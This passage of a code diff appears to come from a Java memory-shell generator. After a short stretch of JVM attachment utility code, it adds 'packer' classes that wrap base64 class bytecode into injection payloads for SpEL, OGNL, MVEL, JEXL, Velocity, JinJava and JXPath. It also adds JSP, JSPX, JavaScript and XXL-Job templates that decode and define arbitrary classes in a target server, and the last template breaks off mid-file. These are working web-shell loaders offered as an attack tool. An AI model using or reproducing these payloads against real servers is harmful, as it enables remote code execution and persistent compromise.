||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
|
||||
*/
|
||||
enum ForEmulatedAttachment implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
try {
|
||||
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
|
||||
} catch (Throwable ignored) {
|
||||
return Accessor.Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A compound attachment provider that attempts the attachment by delegation to other providers. If
|
||||
* none of the providers of this compound provider is capable of providing a valid accessor, an
|
||||
* non-available accessor is returned.
|
||||
*/
|
||||
class Compound implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* A list of attachment providers in the order of their application.
|
||||
*/
|
||||
private final List<AttachmentProvider> attachmentProviders;
|
||||
|
||||
/**
|
||||
* Creates a new compound attachment provider.
|
||||
*
|
||||
* @param attachmentProvider A list of attachment providers in the order of their application.
|
||||
*/
|
||||
public Compound(AttachmentProvider... attachmentProvider) {
|
||||
this(Arrays.asList(attachmentProvider));
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates a new compound attachment provider.
|
||||
*
|
||||
* @param attachmentProviders A list of attachment providers in the order of their application.
|
||||
*/
|
||||
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
|
||||
this.attachmentProviders = new ArrayList<AttachmentProvider>();
|
||||
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||
if (attachmentProvider instanceof Compound) {
|
||||
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
|
||||
} else {
|
||||
this.attachmentProviders.add(attachmentProvider);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||
Accessor accessor = attachmentProvider.attempt();
|
||||
if (accessor.isAvailable()) {
|
||||
return accessor;
|
||||
}
|
||||
}
|
||||
return Accessor.Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A process provider is responsible for providing the process id of the current VM.
|
||||
*/
|
||||
public interface ProcessProvider {
|
||||
|
||||
/**
|
||||
* Resolves a process id for the current JVM.
|
||||
*
|
||||
* @return The resolved process id.
|
||||
*/
|
||||
String resolve();
|
||||
|
||||
/**
|
||||
* Supplies the current VM's process id.
|
||||
*/
|
||||
enum ForCurrentVm implements ProcessProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* The best process provider for the current VM.
|
||||
*/
|
||||
private final ProcessProvider dispatcher;
|
||||
|
||||
/**
|
||||
* Creates a process provider that supplies the current VM's process id.
|
||||
*/
|
||||
ForCurrentVm() {
|
||||
dispatcher = ForJava9CapableVm.make();
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public String resolve() {
|
||||
return dispatcher.resolve();
|
||||
}
|
||||
|
||||
/**
|
||||
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
|
||||
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
|
||||
* the module system is used, as the module system was not available in any relevant JVM version.
|
||||
*/
|
||||
protected enum ForLegacyVm implements ProcessProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public String resolve() {
|
||||
String runtimeName;
|
||||
try {
|
||||
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
|
||||
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
|
||||
} catch (Exception exception) {
|
||||
throw new IllegalStateException("Failed to access VM name via management factory", exception);
|
||||
}
|
||||
int processIdIndex = runtimeName.indexOf('@');
|
||||
if (processIdIndex == -1) {
|
||||
throw new IllegalStateException("Cannot extract process id from runtime management bean");
|
||||
} else {
|
||||
return runtimeName.substring(0, processIdIndex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A process provider for a Java 9 capable VM with access to the introduced process API.
|
||||
*/
|
||||
protected static class ForJava9CapableVm implements ProcessProvider {
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#current()} method.
|
||||
*/
|
||||
private final Method current;
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
private final Method pid;
|
||||
|
||||
/**
|
||||
* Creates a new Java 9 capable dispatcher for reading the current process's id.
|
||||
*
|
||||
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
protected ForJava9CapableVm(Method current, Method pid) {
|
||||
this.current = current;
|
||||
this.pid = pid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
|
||||
* if this is not possible.
|
||||
*
|
||||
* @return A dispatcher for the current VM.
|
||||
*/
|
||||
public static ProcessProvider make() {
|
||||
try {
|
||||
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||
} catch (Exception ignored) {
|
||||
return ForLegacyVm.INSTANCE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public String resolve() {
|
||||
try {
|
||||
return pid.invoke(current.invoke(null)).toString();
|
||||
} catch (IllegalAccessException exception) {
|
||||
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||
} catch (InvocationTargetException exception) {
|
||||
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
|
||||
*/
|
||||
protected interface AgentProvider {
|
||||
|
||||
/**
|
||||
* Provides an agent jar file for attachment.
|
||||
*
|
||||
* @return The provided agent.
|
||||
* @throws IOException If the agent cannot be written to disk.
|
||||
*/
|
||||
File resolve() throws IOException;
|
||||
|
||||
/**
|
||||
* An agent provider that supplies an existing agent that is not deleted after attachment.
|
||||
*/
|
||||
class ForExistingAgent implements AgentProvider {
|
||||
|
||||
/**
|
||||
* The supplied agent.
|
||||
*/
|
||||
private final File agent;
|
||||
|
||||
/**
|
||||
* Creates an agent provider for an existing agent.
|
||||
*
|
||||
* @param agent The supplied agent.
|
||||
*/
|
||||
protected ForExistingAgent(File agent) {
|
||||
this.agent = agent;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public File resolve() {
|
||||
return agent;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
|
||||
*/
|
||||
protected interface AttachmentTypeEvaluator {
|
||||
|
||||
/**
|
||||
* Checks if the current VM requires external attachment for the supplied process id.
|
||||
*
|
||||
* @param processId The process id of the process to which to attach.
|
||||
* @return {@code true} if the current VM requires external attachment for the supplied process.
|
||||
*/
|
||||
boolean requiresExternalAttachment(String processId);
|
||||
|
||||
/**
|
||||
* An installation action for creating an attachment type evaluator.
|
||||
*/
|
||||
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* The OpenJDK's property for specifying the legality of self-attachment.
|
||||
*/
|
||||
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public AttachmentTypeEvaluator run() {
|
||||
try {
|
||||
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
|
||||
return Disabled.INSTANCE;
|
||||
} else {
|
||||
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
return Disabled.INSTANCE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment type evaluator that never requires external attachment.
|
||||
*/
|
||||
enum Disabled implements AttachmentTypeEvaluator {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean requiresExternalAttachment(String processId) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment type evaluator that checks a process id against the current process id.
|
||||
*/
|
||||
class ForJava9CapableVm implements AttachmentTypeEvaluator {
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#current()} method.
|
||||
*/
|
||||
private final Method current;
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
private final Method pid;
|
||||
|
||||
/**
|
||||
* Creates a new attachment type evaluator.
|
||||
*
|
||||
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
protected ForJava9CapableVm(Method current, Method pid) {
|
||||
this.current = current;
|
||||
this.pid = pid;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean requiresExternalAttachment(String processId) {
|
||||
try {
|
||||
return pid.invoke(current.invoke(null)).toString().equals(processId);
|
||||
} catch (IllegalAccessException exception) {
|
||||
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||
} catch (InvocationTargetException exception) {
|
||||
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.jexl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JEXLPacker implements Packer {
|
||||
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.jinjava;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/30
|
||||
*/
|
||||
public class JinJavaPacker implements Packer {
|
||||
String template = "{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance('{{script}}')) }}";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class ClassLoaderJspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public ClassLoaderJspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return jspTemplate.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class DefineClassJspPacker implements Packer {
|
||||
|
||||
String template = null;
|
||||
String bypassTemplate = null;
|
||||
|
||||
public DefineClassJspPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
||||
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String injectorBytesBase64Str = config.getClassBytesBase64Str();
|
||||
String injectorClassName = config.getClassName();
|
||||
String template = this.template;
|
||||
if (config.isByPassJavaModule()) {
|
||||
template = bypassTemplate;
|
||||
}
|
||||
return template.replace("{{className}}", injectorClassName)
|
||||
.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspxPacker implements Packer {
|
||||
|
||||
String jspxTemplate = null;
|
||||
|
||||
public JspxPacker() {
|
||||
try {
|
||||
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return jspxTemplate.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathPacker implements Packer {
|
||||
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.mvel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/29
|
||||
*/
|
||||
public class MVELPacker implements Packer {
|
||||
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class OGNLPacker implements Packer {
|
||||
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.packer.rhino;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/30
|
||||
*/
|
||||
public class RhinoPacker implements Packer {
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return Packers.ScriptEngine.getInstance().pack(config);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package com.reajason.javaweb.packer.scriptengine;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEnginePacker implements Packer {
|
||||
String jsTemplate = null;
|
||||
|
||||
public ScriptEnginePacker() {
|
||||
try {
|
||||
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return jsTemplate.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
||||
.replace("\n", "")
|
||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||
.replaceAll("[ \t]{2,}", " ");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public class SpELPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELScriptEnginePacker implements Packer {
|
||||
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.Base64;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringIOUtilsGzipPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())));
|
||||
}
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringUtilsPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.velocity;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class VelocityPacker implements Packer {
|
||||
String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
import com.xxl.job.core.biz.model.ReturnT;
|
||||
import com.xxl.job.core.handler.IJobHandler;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] bytes) {
|
||||
return defineClass(null, bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
|
||||
public void execute() throws Exception {
|
||||
execute(null)
|
||||
}
|
||||
|
||||
public ReturnT<String> execute(String param) throws Exception {
|
||||
String base64Str = "{{base64Str}}";
|
||||
String className = "{{className}}";
|
||||
try {
|
||||
Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
try {
|
||||
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
return ReturnT.SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public byte[] decodeBase64(String bytecodeBase64) {
|
||||
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
|
||||
return decoder.decode(bytecodeBase64);
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String className = "{{className}}";
|
||||
String base64Str = "{{base64Str}}";
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] bytecode = decodeBase64(base64Str);
|
||||
Class<?> clazz = defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
static void main(String[] args) {
|
||||
new ClassDefiner().toString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
var base64Str = "{{base64Str}}";
|
||||
var clsString = java.lang.Class.forName("java.lang.String");
|
||||
var bytecode;
|
||||
try {
|
||||
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||
} catch (ee) {
|
||||
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
||||
}
|
||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||
var clsInt = java.lang.Integer.TYPE;
|
||||
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
||||
defineClass.setAccessible(true);
|
||||
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||
clazz.newInstance();
|
||||
@@ -0,0 +1,33 @@
|
||||
<%@ page import="java.lang.*" %>
|
||||
<%@ page import="java.lang.Class" %>
|
||||
<%@ page import="java.lang.ClassLoader" %>
|
||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
||||
<%@ page import="java.lang.Object" %>
|
||||
<%@ page import="java.lang.String" %>
|
||||
<%@ page import="java.lang.Thread" %>
|
||||
<%!
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
<%
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = Class.forName("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
@@ -0,0 +1,29 @@
|
||||
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
|
||||
<jsp:directive.page contentType="text/html"/>
|
||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||
<jsp:declaration><![CDATA[
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
]]></jsp:declaration>
|
||||
<jsp:scriptlet><![CDATA[
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
